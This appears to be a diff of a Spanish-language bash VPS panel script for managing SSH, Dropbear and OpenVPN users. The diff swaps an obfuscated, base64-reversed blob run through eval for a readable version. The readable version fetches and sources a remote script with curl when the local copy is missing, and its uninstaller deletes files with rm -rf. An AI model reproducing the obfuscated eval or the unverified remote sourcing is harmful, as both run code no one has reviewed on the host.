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 | r";cXANDaNHhRuKEdYKgJUxUPWojHNnZThBRarwvxUiQwHNXczQrJmCfqIWSoKNCVDzDiAmdvLNfYNHxLTDYhHVeVoQaGMaJbGyRAJT="aiXmtblUvbwdmZelvgMaFUpkGiewPmaLeWfZJbcuhWNPuJtxEkpwUIQqBXGzYhkaTFSDqOmekQJLnIgNNmsbxQaibgqtekcJKGqT";wqRCTHzcuTwyOuhnHTEwhNRHDLNNwvYHOsNJZHJgrmVdzAkmYancImyHrXYEEQcCKdcDsoRhdPVDEPuRUGlfjbkeUpQrCuLrTuZN="";IahODSzyKyjsfMNQnYdZoOjRtdEAizFzfOhAEQoepcphtAfdHjEmLsrwJGXGcUJeGNgspRneJCLelONeTKwMTxcJXkyMOhDCxxva="as";DGubbGgeEFxHAPSSXoEGIwDakYoTPCISlMadSpXcdmdXtBUptVaVmgvcnHTFeivCjKZhVbjrlKWqBdRMIjpHBdoQHMLnlofxpEQj="VeLsXgxyGPDbYqTywQqYEiWZXjNBfFRTaZRpckuWAhZKRMEsRtAgBLpEEVihJWTbyRsVCppZFvZyFgAItsjaZtCOMqQxVDTlfHJA";landWKMPXqajfpnxlpICeZVuEWKMrjxRMRwegEaCcXvDRYKywtdSksznmTDYKWCAwSiBFFJMqsHbDiBNAGyHRXxDzvuyVtMEVhne="DbFZAItubNOxNPxFjgFUtGceHIAckKeNcrdqsyGCHVKRjJOYAnwSqYpprFoYIsbrPiIUTKQSbTGToGtczYeTiUUhFXSctTCfdvMN";CjBsKXxKbMQBuolIvZSxyYpPZmaPCdLSzuMGjkYqFzIubfeqYftPZqnsDGnwaUMSPhvNVDheJLsXHngqGgykTFbNGhkYwFqfuRim="o";mecCcMUeucyfRvSbqeymIHfkLCmLZIbokoDiDKrBdnuiXbukvMdGBOaKJpqvoKWIoErleSayvQVLNHeKRYEtVwZQBgdpQWpnGASs="6";CgHZkCbAerdetftALkfbivOWCWQPFLOjaVBREjckFtZHgmrDaqwKrGrMRcKLqBkJGsizAkdUcKDxJdWzCdJGvCEgninXSFytjStx="SYvSynXpCCOuLPvzFGyaZOqaBxbOLMNIKmfKrqQwbPbVCtpJqwTCIiyWgMCEScxooqQdllBsuGszAsCPYKaUuvSrDVFEEHCWDymS";pwGdIBgttrLkhgLaeNuCsoClzzqARWoYsmDlSEbfcJQVLiYaXYmaYgoLeiGWvLWKslvkjxbcIfQXHGuzZjCgipQmTPijXHmfDiVr=" -d";IRBgzfesjoJBAWGEAGBbfvsfGYEfdQjekDIivySGLHYgYdJIdKGdFadSgUGOKgugCfmCOsWEVEqqDZEEQxmMNfyoKGnIPTgaEVSR="FanYxsSdORuQfBcKbBWunRkKNyNQkwATViPbOxRFpnAsEMAaRrWgKegYnqryPuvnvhqbhecGdLcTcflvwkqTZFyuCiphJXeFocYP";faHHYoilwecxvJqXNVwjiUiXUDMqTknjiqpTajQakQgBZokESQofUOBqjYpJMIDHlkgwZAcuyuurhVBYGPlNVgAvMuPCiMzkJkov="";JpTrJJbtbBSzUscsQxurhWAKcclDvPQoiwrUJKJexcFLrPLrfnUGOQtcIqHsjrCEQMVjGWLEUIWCPTxcEiUSHZoXDMYQKlzDnhvH="b";ZbksChduWZKWmBEvhDKypezCwwDpwAYWrPmdWXSoJyGIpNqTjuMsDHCnvJxJCIoWtJFluiaLuOLjlSmtRJCiLyWRPmYdtSuqzvvN="e";ofuKEQthoVvNqwPvnLeUUDefihdhchuHZkwDtCDcNFQDjFDmbMzDzeSDXlBsriSElEtEIcoNNCZNzTPbAnAZVLIBpKsoCksjzrma="v |";Tx=Eds;FnEqGSQiOZgMsNAHRfxWhLcuMNxOUQvPriLSXDINUPJvhmQgFcYsuxUKdsFmmBzzWmciqAgJWNBOIPvZNBPXFyEtktXWcAbTLIYz="";nUvwuWguiooRGUiMgwzzpDPkiDLBgPSvhLEjqWQdjmpIpyOzIFkgAUsKGnklNOpWQlmaUWhoftPOrTSbXyYeWFFZBRKuDuobKINR=$(eval "$wqRCTHzcuTwyOuhnHTEwhNRHDLNNwvYHOsNJZHJgrmVdzAkmYancImyHrXYEEQcCKdcDsoRhdPVDEPuRUGlfjbkeUpQrCuLrTuZN$ZbksChduWZKWmBEvhDKypezCwwDpwAYWrPmdWXSoJyGIpNqTjuMsDHCnvJxJCIoWtJFluiaLuOLjlSmtRJCiLyWRPmYdtSuqzvvN$sAgrpjVFCmqlsIxIaJRzWwRKssmWHGOoslIkhUXhpQbWvMeLVNEqTcaDbLmKuxGbVKrrzNYroLPOAIhfdeZTjHmQoHBvzDnQDbOJ$sJpmXaGykPlHMTvyuUYHWoMhIhcgkeRayVyCzVfvRWRPbVuWXQVmRrlmvMifKtlrnumuqdyQvnbfkYrKMZWneHcFyEGnZazmBVhI$CjBsKXxKbMQBuolIvZSxyYpPZmaPCdLSzuMGjkYqFzIubfeqYftPZqnsDGnwaUMSPhvNVDheJLsXHngqGgykTFbNGhkYwFqfuRim$jOzAMykRjgRMtsDJxulDBLOMXksBQvUbrLGIHRjCfyqmCvpoxceCPSogSoLYoQcleEFQHuUoRObFyzkuECtdCcPLWkZCreGPkaxo$ZbksChduWZKWmBEvhDKypezCwwDpwAYWrPmdWXSoJyGIpNqTjuMsDHCnvJxJCIoWtJFluiaLuOLjlSmtRJCiLyWRPmYdtSuqzvvN$ofuKEQthoVvNqwPvnLeUUDefihdhchuHZkwDtCDcNFQDjFDmbMzDzeSDXlBsriSElEtEIcoNNCZNzTPbAnAZVLIBpKsoCksjzrma$wqRCTHzcuTwyOuhnHTEwhNRHDLNNwvYHOsNJZHJgrmVdzAkmYancImyHrXYEEQcCKdcDsoRhdPVDEPuRUGlfjbkeUpQrCuLrTuZN$JpTrJJbtbBSzUscsQxurhWAKcclDvPQoiwrUJKJexcFLrPLrfnUGOQtcIqHsjrCEQMVjGWLEUIWCPTxcEiUSHZoXDMYQKlzDnhvH$FnEqGSQiOZgMsNAHRfxWhLcuMNxOUQvPriLSXDINUPJvhmQgFcYsuxUKdsFmmBzzWmciqAgJWNBOIPvZNBPXFyEtktXWcAbTLIYz$IahODSzyKyjsfMNQnYdZoOjRtdEAizFzfOhAEQoepcphtAfdHjEmLsrwJGXGcUJeGNgspRneJCLelONeTKwMTxcJXkyMOhDCxxva$ZbksChduWZKWmBEvhDKypezCwwDpwAYWrPmdWXSoJyGIpNqTjuMsDHCnvJxJCIoWtJFluiaLuOLjlSmtRJCiLyWRPmYdtSuqzvvN$mecCcMUeucyfRvSbqeymIHfkLCmLZIbokoDiDKrBdnuiXbukvMdGBOaKJpqvoKWIoErleSayvQVLNHeKRYEtVwZQBgdpQWpnGASs$sJpmXaGykPlHMTvyuUYHWoMhIhcgkeRayVyCzVfvRWRPbVuWXQVmRrlmvMifKtlrnumuqdyQvnbfkYrKMZWneHcFyEGnZazmBVhI$xStDqIwOalOuMZRQUTPniSpgEaEXOavFsNmYuVQAgQYhKUgjLhlkSMaIlUMmBszqpspohXyhEedTHDfZFrlieIbdcqSFkKhwUrws$pwGdIBgttrLkhgLaeNuCsoClzzqARWoYsmDlSEbfcJQVLiYaXYmaYgoLeiGWvLWKslvkjxbcIfQXHGuzZjCgipQmTPijXHmfDiVr$FnEqGSQiOZgMsNAHRfxWhLcuMNxOUQvPriLSXDINUPJvhmQgFcYsuxUKdsFmmBzzWmciqAgJWNBOIPvZNBPXFyEtktXWcAbTLIYz");eval "$faHHYoilwecxvJqXNVwjiUiXUDMqTknjiqpTajQakQgBZokESQofUOBqjYpJMIDHlkgwZAcuyuurhVBYGPlNVgAvMuPCiMzkJkov$nUvwuWguiooRGUiMgwzzpDPkiDLBgPSvhLEjqWQdjmpIpyOzIFkgAUsKGnklNOpWQlmaUWhoftPOrTSbXyYeWFFZBRKuDuobKINR$wqRCTHzcuTwyOuhnHTEwhNRHDLNNwvYHOsNJZHJgrmVdzAkmYancImyHrXYEEQcCKdcDsoRhdPVDEPuRUGlfjbkeUpQrCuLrTuZN$sJpmXaGykPlHMTvyuUYHWoMhIhcgkeRayVyCzVfvRWRPbVuWXQVmRrlmvMifKtlrnumuqdyQvnbfkYrKMZWneHcFyEGnZazmBVhI"
\ No newline at end of file
+# -*- ENCODING: UTF-8 -*-
+dropbear_pids () {
+ port_dropbear=`ps aux|grep 'dropbear'|awk NR==1|awk '{print $17;}'`
+ log=/var/log/auth.log
+ loginsukses='Password auth succeeded'
+ pids=`ps ax|grep 'dropbear'|grep " $port_dropbear"|awk -F " " '{print $1}'`
+ for pid in $pids; do
+ pidlogs=`grep $pid $log |grep "$loginsukses" |awk -F" " '{print $3}'`
+ i=0
+ for pidend in $pidlogs; do
+ let i=i+1
+ done
+ if [ $pidend ];then
+ login=`grep $pid $log |grep "$pidend" |grep "$loginsukses"`
+ PID=$pid
+ user=`echo $login |awk -F" " '{print $10}' | sed -r "s/'/ /g"`
+ waktu=`echo $login |awk -F" " '{print $2"-"$1,$3}'`
+ while [ ${#waktu} -lt 13 ]; do
+ waktu=$waktu" "
+ done
+ while [ ${#user} -lt 16 ]; do
+ user=$user" "
+ done
+ while [ ${#PID} -lt 8 ]; do
+ PID=$PID" "
+ done
+ echo "$user $PID $waktu"
+ fi
+done
+}
+
+mostrar_usuarios () {
+for u in `cat "/etc/passwd"|grep 'home'|grep 'false'|grep -v 'syslog' | cut -d: -f1`; do
+echo "$u"
+done
+}
+
+function_onlines () {
+local users=$(cat /etc/passwd|grep 'home'|grep 'false'|grep -v 'syslog'|awk -F ':' '{print $1}')
+ # dpids=$(dropbear_pids) users=$(cat /etc/passwd|grep 'home'|grep 'false'|grep -v 'syslog'|awk -F ':' '{print $1}')
+ dpids=$(dropbear_pids)
+ time=$(date +%s)
+ [[ -e /etc/openvpn/openvpn-status.log ]] && ovpn_log=$(cat /etc/openvpn/openvpn-status.log)
+ n='0'
+ i='0'
+ u='1'
+ conect='0'
+ _onlin='0'
+ for _user in $users; do
+ [[ -z "$(ps -u $_user|grep sshd)" ]] && sqd=0 || sqd=$(ps -u $_user|grep sshd | wc -l)
+ [[ -z "$(echo $ovpn_log|grep -E ,"$_user",)" ]] && ovp=0 || ovp=$(echo $ovpn_log|grep -E ,"$_user", | wc -l)
+ [[ -z "$(echo $dpids|grep -w "$_user")" ]] && drop=0 || drop=$(echo $dpids|grep -w "$_user" | wc -l)
+ _onlin=$(($sqd + $ovp + $drop))
+ #[[ $_onlin -ne 0 ]] &&
+ conect=$(($conect + $_onlin))
+ if [[ $(chage -l $_user |grep 'Account expires' |awk -F ': ' '{print $2}') != never ]]; then
+ [[ $time -gt $(date '+%s' -d "$(chage -l $_user |grep "Account expires" |awk -F ': ' '{print $2}')") ]] && let n++
+ fi
+ [[ $(passwd --status $_user|cut -d ' ' -f2) = "L" ]] && let i++
+ done
+_onlin="\033[1;31m${conect}"
+_userexp="\033[1;31m${n}"
+_userlock="${i}"
+_tuser="\033[1;31m$(echo -e "${users}" | wc -l)"
+}
+
+[[ -e /etc/scpdk1/modulos ]] && function_onlines &> /dev/null
+
+if ! [ $(id -u) = 0 ]; then
+clear
+ echo ""
+ msg -bar
+ echo " ⛑⛑⛑ Error Fatal!! x000e1 ⛑⛑⛑"
+ msg -bar
+ echo " ✠ Este script debe ejecutarse como root! ✠"
+ echo " Como Solucionarlo "
+ echo " Ejecute el script así:"
+ echo " ⇘ ⇙ "
+ echo " sudo -i "
+ echo " sudo su"
+ echo " Retornando . . ."
+ echo $(date)
+ msg -bar
+ exit
+fi
+##
+# Funcoes Globais
+[[ -e /bin/ejecutar/msg ]] && source /bin/ejecutar/msg || source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/msg-bar/msg)
+
+#FIN DE MODULOS A ELIMINAR EN UPDATE CON REFORMA EN BASE
+remover_adm () {
+msg -bar
+echo -e "${cor[5]} ¿ ESTAS SEGURO ?"
+read -p " [ s / n ]: " certe_za
+[[ "$certe_za" = @(s|S|y|Y) ]] && {
+[[ -e /etc/openvpn/server.conf ]] && remover_ovpn & > /dev/null 2>&1
+echo -e "${cor[5]} Unistaling python${cor[0]}"
+fun_bar 'apt-get purge python -y' 'apt-get purge python3-pip -y'
+echo -e "${cor[5]} Unistaling Nmap${cor[0]}"
+fun_bar 'apt-get purge screen -y' 'apt-get purge nmap -y'
+echo -e "${cor[5]} Unistaling curl${cor[0]}"
+fun_bar 'apt-get purge figlet -y' 'apt-get purge unzip -y' 'apt-get purge squid -y'
+echo -e "${cor[5]} Unistaling Dropbear/Squid${cor[0]}"
+fun_bar 'apt-get purge bc -y' 'apt-get purge lynx -y'
+echo -e "${cor[5]} Unistaling Apache2${cor[0]}"
+fun_bar 'apt-get purge curl -y' 'apt-get purge squid -y'
+echo -e "${cor[5]} Unistaling Libs${cor[0]}"
+fun_bar 'apt-get purge squid3 -y' 'apt-get purge dropbear -y' 'apt-get purge stunnel4 -y'
+echo -e "${cor[5]} Unistaling Scripts${cor[0]}"
+fun_bar 'apt-get purge apache2 -y' 'apt-get purge php5 libapache2-mod-php5 php5-mcrypt'
+apt-get autoremove -y > /dev/null 2>&1
+[[ -e /bin/ejecutar ]] && rm -rf /bin/ejecutar > /dev/null 2>&1
+[[ -e /etc/usuariosteste ]] && rm -rf /etc/usuariosteste > /dev/null 2>&1
+[[ -e $HOME/log.txt ]] && rm -f $HOME/log.txt
+[[ -e /bin/troj.sh ]] && rm -f /bin/troj.sh
+[[ -e /bin/v2r.sh ]] && rm -f /bin/v2r.sh
+[[ -e /bin/clash.sh ]] && rm -f /bin/clash.sh
+[[ -e /bin/menu ]] && rm /bin/menu
+[[ -e /bin/cgh ]] && rm /bin/cgh
+sed '/ChumoGH/ d' /root/.bashrc > /root/.bashrc.cp1
+sed '/clear/ d' /root/.bashrc.cp1 > /root/.bashrc.cp
+sed '/echo/ d' /root/.bashrc.cp > /root/.bashrc
+rm -f /root/.bashrc.cp /root/.bashrc.cp1
+[[ -e $HOME/exito ]] && rm -f /root/exito $HOME/name > /dev/null 2>&1
+echo -e "${cor[5]} SUCESS! :D${cor[0]}"
+[[ -e /etc/scpdk1 ]] && rm -rf /etc/scpdk1
+echo -e "\033[0m"
+ msg -bar
+ exit
+ } || {
+ echo -e "${cor[1]} DESINSTALACION CANCELADA POR EL USUARIO!! ${cor[0]}"
+ msg -bar
+ return
+ }
+}
+
+clear
+#DECLARA VARIABLES DE ENTORNO
+dir_user="./userDIR"
+dir="/etc/scpdk1"
+
+_on="\033[0;31m [\033[0;32mON\033[0;31m]"
+_off="\033[0;31m [OFF]"
+#SISTEMADEMODULOS
+unset OPENVPN
+unset limiter_on
+[[ -e /etc/openvpn/server.conf ]] && {
+[[ -e /etc/openvpn/openvpn-status.log ]] && OPENVPN="on" || echo -e "OPENVPN ERROR"
+}
+[[ -e /etc/scpdk1/modulos ]] && VERIFICAR_PID="$_on" || VERIFICAR_PID="$_off"
+
+[[ -e /etc/systemd/system/killadm.service ]] && limiter_on="\033[1;32mON"
+[[ -z $_os ]] && _os="\033[1;31m$(cat /etc/issue | cut -d " " -f 1,2 | head -1| tr a-z A-Z)"
+
+#PIDSVARIAVEIS
+[[ ! -z $(ps x | grep "badvpn" | grep -v "grep") ]] && _badvpn="$_on" || _badvpn="$_off"
+[[ `grep -c "^#ADM" /etc/sysctl.conf` -eq 0 ]] && _tcpspeed="$_off" || _tcpspeed="$_on"
+[[ -z $(dpkg -l | grep fail2ban | grep ii) ]] && fail_b="$_off" || fail_b="$_on"
+[[ -e /bin/ejecutar/uskill ]] && ukk="\033[1;31m$(cat /bin/ejecutar/uskill)" || ukk="\033[1;31m0"
+v1=$(cat /bin/ejecutar/v-new.log)
+v2=$(cat /etc/scpdk1/v-local.log)
+if [ -e /etc/squid/squid.conf ]; then
+squid_var="/etc/squid/squid.conf"
+elif [ -e /etc/squid3/squid.conf ]; then
+squid_var="/etc/squid3/squid.conf"
+fi
+[[ -e $squid_var ]] && {
+teste_cache="#CACHE DO SQUID"
+[[ `grep -c "^$teste_cache" $squid_var` -eq 0 ]] && _cachesquid="$_off" || _cachesquid="$_on"
+}
+
+vary_rex () {
+echo -e $(echo "$1"| sed 's/../\\x&/g;s/$/ /') && return 0 || return 1
+}
+
+funcao_verificacao () {
+ [[ -e /etc/scpdk1/modulos ]] && {
+ for _pids_ in `atq | awk '{print $1}'`; do
+ atrm $_pids_
+ done
+ [[ -e ./vencidos ]] && rm ./vencidos
+ [[ -e ./onlines ]] && rm ./onlines
+ [[ -e ./total ]] && rm ./total
+ rm -f /etc/scpdk1/modulos
+ rm -f /bin/ejecutar/usCONEXT
+ rm -f /bin/ejecutar/usCONEXC
+ echo " CONTADOR ONLINE DESACTIVADO !!"
+ msg -bar
+ read -p " PRESIONA ENTER PARA RETORNAR"
+ return
+ } || {
+ clear&&clear
+ echo "VERIFICAR" > /etc/scpdk1/modulos
+unset sshsn
+unset sin_nao
+msg -bar
+print_center -verm2 'ADVERTENCIA!!!\n ESTA FUNCION PODRIA CONSUMIR RECURSOS \n O CPU ELEVADO DEVIDO AL BUBLE DE VERIFICACION DE CONSUMO \n SI NOTA LENTITUD EN SU SERVIDOR \n DETENGALO INMEDIATAMENTE!!'
+msg -bar
+echo -e "${cor[3]} DESEAS ACTIVAR EL CONTROLADOR DE "
+echo -e "${cor[3]} TIEMPO - CUENTA EL TIEMPO DE CONEXION "
+echo -ne "${cor[3]} Esta SEGURO -> "
+read -p " [S/N]: " -e -i s sshsn
+[[ "$sshsn" = @(s|S|y|Y) ]] && {
+echo "TIEMPO" > /bin/ejecutar/usCONEXT
+tput cuu1 >&2 && tput dl1 >&2
+tput cuu1 >&2 && tput dl1 >&2
+unset sshsn
+unset sin_nao
+} || {
+rm -f /bin/ejecutar/usCONEXT
+tput cuu1 >&2 && tput dl1 >&2
+tput cuu1 >&2 && tput dl1 >&2
+unset sshsn
+unset sin_nao
+}
+echo -e "${cor[3]} CONSUMO - CUENTA EL CONSUMO DE CONEXION "
+echo -ne "${cor[3]} Esta SEGURO -> "
+read -p " [S/N]: " -e -i n sshsn
+[[ "$sshsn" = @(s|S|y|Y) ]] && {
+echo "CONSUMO" > /bin/ejecutar/usCONEXC
+tput cuu1 >&2 && tput dl1 >&2
+tput cuu1 >&2 && tput dl1 >&2
+unset sshsn
+unset sin_nao
+} || {
+rm -f /bin/ejecutar/usCONEXC
+tput cuu1 >&2 && tput dl1 >&2
+tput cuu1 >&2 && tput dl1 >&2
+unset sshsn
+unset sin_nao
+}
+ chmod 777 /etc/scpdk1/*
+ echo -e " CONTADOR ONLINE ACTIVADO !!"
+ echo -e " RECUERDA QUE PARA EL CONTROLADOR DE \n CONSUMO DE USUARIOS"
+ echo -e " ES NECESARIO QUE TENGAS EL KILL MULTILOGIN ACTIVADO"
+ msg -bar
+ read -p " PRESIONA ENTER PARA RETORNAR"
+ return
+ }
+}
+
+
+#LLENA USUARIO EN ARRAY $select_name DEL USUARIO
+select_users () {
+clear&&clear
+msg -bar
+echo -e "${cor[4]} $1 "
+# Obtener la lista de usuarios que cumplen con los criterios y extraer solo el nombre
+lista_usuarios=$(grep 'home' /etc/passwd | grep 'false' | grep -v 'syslog')
+lista_nombres=$(echo "$lista_usuarios" | cut -d: -f1)
+
+# Contar el número de usuarios
+cantidad_usuarios=$(echo "$lista_nombres" | wc -l)
+
+# Mostrar el menú numerado con los nombres de los usuarios y obtener el número correspondiente al nombre
+mostrar_menu_numerado() {
+ contador=1
+ echo -e " - LISTA DE USUARIOS DISPONIBLES -"
+ msg -bar
+ while IFS= read -r nombre; do
+ [[ -e /etc/scpdk1/userDIR/$nombre ]] && {
+ local lmt="$(cat /etc/scpdk1/userDIR/$nombre | grep "limite" | awk '{print $2}')"
+ [[ $(passwd --status $nombre|cut -d ' ' -f2) = "L" ]] && {
+ echo -e "\033[0;35m [\033[0;36m$contador\033[0;35m]\033[0;31m ➮\033[0;38m $nombre \033[1;34m<--\033[1;31m LOCK"
+ } || {
+ [[ $(echo -e ${lmt} |sed -e 's/[^0-9]//ig') ]] && {
+ echo -e "\033[0;35m [\033[0;36m$contador\033[0;35m]\033[0;31m ➮\033[0;38m $nombre"
+ } || {
+ [[ "$(echo -e ${lmt})" = "HWID" ]] && echo -e "\033[0;35m [\033[0;36m$contador\033[0;35m]\033[0;31m ➮${cor[5]} $(cat /etc/scpdk1/userDIR/$nombre | grep "senha" | awk '{print $2}') ${cor[1]}-> \033[0;35m #[${cor[3]}${lmt}\033[0;35m] \n ⤷ ${cor[2]}$nombre" |column -s "#" -t
+ [[ "$(echo -e ${lmt})" = "TOKEN" ]] && echo -e "\033[0;35m [\033[0;36m$contador\033[0;35m]\033[0;31m ➮${cor[5]} $(cat /etc/scpdk1/userDIR/$nombre | grep "senha" | awk '{print $2}') ${cor[1]}-> \033[0;35m #[${cor[3]}${lmt}\033[0;35m] \n ⤷ ${cor[2]}$nombre" |column -s "#" -t
+ }
+ }
+ }
+ contador=$((contador + 1))
+ done <<< "$lista_nombres"
+}
+
+unset select_name select_number
+# Función para procesar la opción seleccionada y mostrar el resultado correspondiente
+procesar_opcion() {
+ opcion=$1
+ if ((opcion >= 1 && opcion <= cantidad_usuarios)); then
+ nombre=$(echo "$lista_nombres" | sed -n "${opcion}p")
+ msg -bar
+ echo " Seleccionaste el usuario: $nombre"
+ select_name=${nombre}
+ select_number=${opcion}
+ return
